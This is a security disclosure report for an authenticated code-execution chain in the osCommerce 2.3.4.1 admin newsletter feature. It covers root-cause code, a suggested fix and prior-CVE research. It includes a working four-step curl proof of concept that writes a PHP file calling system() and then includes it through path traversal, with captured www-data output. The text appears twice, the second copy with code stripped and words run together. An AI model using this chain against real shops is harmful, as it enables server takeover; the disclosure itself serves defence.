Affected Software
Vulnerability Description
In the osCommerce admin Newsletter management, the module column of a newsletter record is used both as a PHP class name and as part of a file-include path — and the create/edit interface applies no allow-list to the module field. The module dropdown in the form is only a client-side constraint; any string POSTed to it is stored as-is.
Setting module to upload hijacks the upload class that the admin panel loads unconditionally: instantiating new upload($title, $content) turns $title into a multipart file-field name and $content into the destination directory, and the upload class places no restriction on file name or extension (the extension check is skipped entirely when no extensions are configured), so arbitrary attacker-supplied content from a multipart request is written to any writable path with mode 0777. Creating a second newsletter record whose module is a traversal path (e.g. ../../../backups/<filename>) and opening its confirm page then makes the application include() the file the traversal resolves to — the PHP file dropped in the previous step executes, yielding server-side arbitrary code execution. The whole chain is stored and second-order: the file drop and the include trigger are separate requests, with the payload persisting both in the database (newsletters table) and on the file system.
Root Cause
Write side — the insert/update branch of admin/newsletters.php stores the module field as-is, validating only that it is non-empty:
$newsletter_module = tep_db_prepare_input($HTTP_POST_VARS['module']);
$title = tep_db_prepare_input($HTTP_POST_VARS['title']);
$content = tep_db_prepare_input($HTTP_POST_VARS['content']);
// ...
if (empty($newsletter_module)) {
$messageStack->add(ERROR_NEWSLETTER_MODULE, 'error');
$newsletter_error = true;
}
if ($newsletter_error == false) {
$sql_data_array = array('title' => $title,
'content' => $content,
'module' => $newsletter_module);
// ...
tep_db_prepare_input() is just trim + stripslashes; there is no allow-list on the module column — upload, traversal paths, anything goes into the database.
Execution side — the confirm/send/confirm_send branches include a file based on the stored module and instantiate it dynamically:
include(DIR_WS_LANGUAGES . $language . '/modules/newsletters/' . $nInfo->module . substr($PHP_SELF, strrpos($PHP_SELF, '.')));
include(DIR_WS_MODULES . 'newsletters/' . $nInfo->module . substr($PHP_SELF, strrpos($PHP_SELF, '.')));
$module_name = $nInfo->module;
$module = new $module_name($nInfo->title, $nInfo->content);
$nInfo->module is concatenated directly after DIR_WS_MODULES . 'newsletters/' with no traversal filtering (a missing file only raises a Warning and does not stop execution); the same value is passed as a class name to new. When module is upload, the class that gets instantiated is the upload class loaded unconditionally by the admin application_top.php:
function upload($file = '', $destination = '', $permissions = '777', $extensions = '') {
$this->set_file($file);
$this->set_destination($destination);
$this->set_permissions($permissions);
$this->set_extensions($extensions);
// ...
if ( ($this->parse() == true) && ($this->save() == true) ) {
return true;
// ...
The constructor uses $title as the file-field name (parse() reads $_FILES[$this->file]) and $content as the destination directory, with $permissions defaulting to 777. The save() routine normalizes nothing about file name or directory:
if (move_uploaded_file($this->file['tmp_name'], $this->destination . $this->filename)) {
chmod($this->destination . $this->filename, $this->permissions);
// ...
The extension check inside parse() only runs when $this->extensions is non-empty — here new upload($title, $content) passes no extensions, so the check is skipped entirely, and the multipart filename and body are written to disk verbatim. Combined, the two defects form a drop-then-include chain: arbitrary file write first, then the module column's traversal path includes the dropped .php file for execution.
Proof of Concept
Log into the admin panel to obtain a session (the admin panel has no CSRF token):
curl -c admin.jar -s 'http://<target>/catalog/admin/login.php' > /dev/null
curl -c admin.jar -s -d 'username=<admin_user>&password=<admin_pass>&login=Log In' \
'http://<target>/catalog/admin/login.php?action=process' > /dev/null
Step 1 — create a newsletter record with module=upload; title names the multipart field and content the destination directory (must be writable by the web process; in the test deployment catalog/images/ was not writable, while backups/ — the admin panel's own working directory — was):
curl -b admin.jar -s -d 'module=upload&title=f&content=backups%2F' \
'http://<target>/catalog/admin/newsletters.php?action=insert' > /dev/null
Step 2 — submit a multipart file to that record's confirm action: field name f, filename becomes the on-disk name, and the body is a harmless echo-only payload (echo a marker, run id, touch a marker file). This request only drops the file; the payload does not execute:
cat > payload.php <<'EOF'
<?php echo "VDY3-vdy3oscv41c-CODE";
system("echo VDY3-vdy3oscv41c-EXEC; id; touch /tmp/VDY3-vdy3oscv41c");
?>
EOF
curl -b admin.jar -s -F 'f=@payload.php;filename=vdy3oscv41crce.php' \
'http://<target>/catalog/admin/newsletters.php?action=confirm&nID=12' > /dev/null
Step 3 — create a second newsletter record whose module is a traversal path pointing at the dropped file (the confirm branch resolves the include from admin/includes/modules/newsletters/, three levels up to the admin directory):
curl -b admin.jar -s -d 'module=../../../backups/vdy3oscv41crce&title=fx&content=fy' \
'http://<target>/catalog/admin/newsletters.php?action=insert' > /dev/null
Step 4 — open the second record's confirm page to trigger the include; the payload executes:
curl -b admin.jar 'http://<target>/catalog/admin/newsletters.php?action=confirm&nID=13'
Expected result: the response body contains VDY3-vdy3oscv41c-CODE (the included PHP code ran) and VDY3-vdy3oscv41c-EXEC plus the id output (system() ran).
Actual output (captured in a local authorized deployment)
Both inserts returned 302 (normal create redirects, Location carrying nID=12 and nID=13); the step-2 confirm returned 200 (drop completed). The execution request returned 200 with the following in the response body:
VDY3-vdy3oscv41c-CODEVDY3-vdy3oscv41c-EXEC
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) is the id executed by system() as the web server user. (After the include completes, new $module_name raises a fatal because the class name contains slashes — but that happens after the payload has run and does not affect the output.)
Read-only cross-checks inside the container for the dropped files and the payload marker:
$ ls -la catalog/admin/backups/ | grep vdy3
-rwxrwxrwx 1 www-data www-data 32 Sep 8 10:04 vdy3oscv41cprobe.php
-rwxrwxrwx 1 www-data www-data 110 Sep 8 10:04 vdy3oscv41crce.php
$ ls -la /tmp/VDY3-vdy3oscv41c
-rw-r--r-- 1 www-data www-data 0 Sep 8 10:04 VDY3-vdy3oscv41c
The dropped files are mode 0777 (the upload class defaults to $permissions='777'); the marker file could only have been created by server-side code execution.
A read-only database query confirms both injection points persisted (the stored-type evidence):
newsletters_id title module content
12 f upload backups/
13 fx ../../../backups/vdy3oscv41crce fy
Before execution, rendering the confirm page of a record without a traversal module produced no marker output (negative control); the marker vdy3oscv41c was created fresh for this round, ruling out stale state.
Impact
An authenticated admin (no CSRF protection on the admin panel) can, with four requests, write an arbitrary PHP file to any path writable by the web process and execute it: the dropped file has mode 0777 with fully attacker-controlled path, name and content, and persists as a standing backdoor; the code execution runs as the web server user (www-data), able to read and write any file and data reachable at that privilege and to reach further into the internal network. The new $module_name on the module column can additionally instantiate any loaded class, which is an extra gadget-style primitive.
Suggested Fix
Validate the module column against a server-side allow-list of installed newsletter modules (normalize with basename() and reject path separators before including), and pass an explicit extension whitelist and a fixed destination to the upload class instead of letting business data serve as the file-field name and target directory.
Prior Research
I went through the public records for osCommerce 2.3.4.1 before submitting (CVE/NVD entries, GitHub Security Advisories, Exploit-DB). The closest item is CVE-2020-29070, but that is a stored XSS in the title column of newsletter records (browser-side execution) — not the module column / file-include / server-side code execution chain described here. The CVE-2018-18572/73 family also involves "admin upload leading to PHP execution", but through the categories.php upload flow and a .htaccess extension-blocklist flaw: different interface, different root cause, different mechanism, and its fix does not stop this chain.
Affected Software
v2.3.4.1, commit94e9e9efe7994bf88d8ade2e64881b4bfe1745d4Vulnerability Description
In the osCommerce admin Newsletter management, the
modulecolumn of a newsletter record is used both as a PHP class name and as part of a file-include path — and the create/edit interface applies no allow-list to themodulefield. The module dropdown in the form is only a client-side constraint; any string POSTed to it is stored as-is.Setting
moduletouploadhijacks the upload class that the admin panel loads unconditionally: instantiatingnew upload($title, $content)turns$titleinto a multipart file-field name and$contentinto the destination directory, and the upload class places no restriction on file name or extension (the extension check is skipped entirely when no extensions are configured), so arbitrary attacker-supplied content from a multipart request is written to any writable path with mode 0777. Creating a second newsletter record whosemoduleis a traversal path (e.g.../../../backups/<filename>) and opening its confirm page then makes the applicationinclude()the file the traversal resolves to — the PHP file dropped in the previous step executes, yielding server-side arbitrary code execution. The whole chain is stored and second-order: the file drop and the include trigger are separate requests, with the payload persisting both in the database (newsletters table) and on the file system.Root Cause
Write side — the insert/update branch of
admin/newsletters.phpstores themodulefield as-is, validating only that it is non-empty:tep_db_prepare_input()is just trim + stripslashes; there is no allow-list on themodulecolumn —upload, traversal paths, anything goes into the database.Execution side — the confirm/send/confirm_send branches include a file based on the stored
moduleand instantiate it dynamically:$nInfo->moduleis concatenated directly afterDIR_WS_MODULES . 'newsletters/'with no traversal filtering (a missing file only raises a Warning and does not stop execution); the same value is passed as a class name tonew. Whenmoduleisupload, the class that gets instantiated is the upload class loaded unconditionally by the adminapplication_top.php:The constructor uses
$titleas the file-field name (parse()reads$_FILES[$this->file]) and$contentas the destination directory, with$permissionsdefaulting to777. Thesave()routine normalizes nothing about file name or directory:The extension check inside
parse()only runs when$this->extensionsis non-empty — herenew upload($title, $content)passes no extensions, so the check is skipped entirely, and the multipart filename and body are written to disk verbatim. Combined, the two defects form a drop-then-include chain: arbitrary file write first, then themodulecolumn's traversal path includes the dropped.phpfile for execution.Proof of Concept
Log into the admin panel to obtain a session (the admin panel has no CSRF token):
Step 1 — create a newsletter record with
module=upload;titlenames the multipart field andcontentthe destination directory (must be writable by the web process; in the test deploymentcatalog/images/was not writable, whilebackups/— the admin panel's own working directory — was):Step 2 — submit a multipart file to that record's confirm action: field name
f, filename becomes the on-disk name, and the body is a harmless echo-only payload (echo a marker, runid, touch a marker file). This request only drops the file; the payload does not execute:Step 3 — create a second newsletter record whose
moduleis a traversal path pointing at the dropped file (the confirm branch resolves the include fromadmin/includes/modules/newsletters/, three levels up to the admin directory):Step 4 — open the second record's confirm page to trigger the include; the payload executes:
curl -b admin.jar 'http://<target>/catalog/admin/newsletters.php?action=confirm&nID=13'Expected result: the response body contains
VDY3-vdy3oscv41c-CODE(the included PHP code ran) andVDY3-vdy3oscv41c-EXECplus theidoutput (system()ran).Actual output (captured in a local authorized deployment)
Both inserts returned 302 (normal create redirects, Location carrying
nID=12andnID=13); the step-2 confirm returned 200 (drop completed). The execution request returned 200 with the following in the response body:uid=33(www-data)is theidexecuted bysystem()as the web server user. (After the include completes,new $module_nameraises a fatal because the class name contains slashes — but that happens after the payload has run and does not affect the output.)Read-only cross-checks inside the container for the dropped files and the payload marker:
The dropped files are mode 0777 (the upload class defaults to
$permissions='777'); the marker file could only have been created by server-side code execution.A read-only database query confirms both injection points persisted (the stored-type evidence):
Before execution, rendering the confirm page of a record without a traversal module produced no marker output (negative control); the marker
vdy3oscv41cwas created fresh for this round, ruling out stale state.Impact
An authenticated admin (no CSRF protection on the admin panel) can, with four requests, write an arbitrary PHP file to any path writable by the web process and execute it: the dropped file has mode 0777 with fully attacker-controlled path, name and content, and persists as a standing backdoor; the code execution runs as the web server user (www-data), able to read and write any file and data reachable at that privilege and to reach further into the internal network. The
new $module_nameon themodulecolumn can additionally instantiate any loaded class, which is an extra gadget-style primitive.Suggested Fix
Validate the
modulecolumn against a server-side allow-list of installed newsletter modules (normalize withbasename()and reject path separators before including), and pass an explicit extension whitelist and a fixed destination to the upload class instead of letting business data serve as the file-field name and target directory.Prior Research
I went through the public records for osCommerce 2.3.4.1 before submitting (CVE/NVD entries, GitHub Security Advisories, Exploit-DB). The closest item is CVE-2020-29070, but that is a stored XSS in the title column of newsletter records (browser-side execution) — not the module column / file-include / server-side code execution chain described here. The CVE-2018-18572/73 family also involves "admin upload leading to PHP execution", but through the categories.php upload flow and a .htaccess extension-blocklist flaw: different interface, different root cause, different mechanism, and its fix does not stop this chain.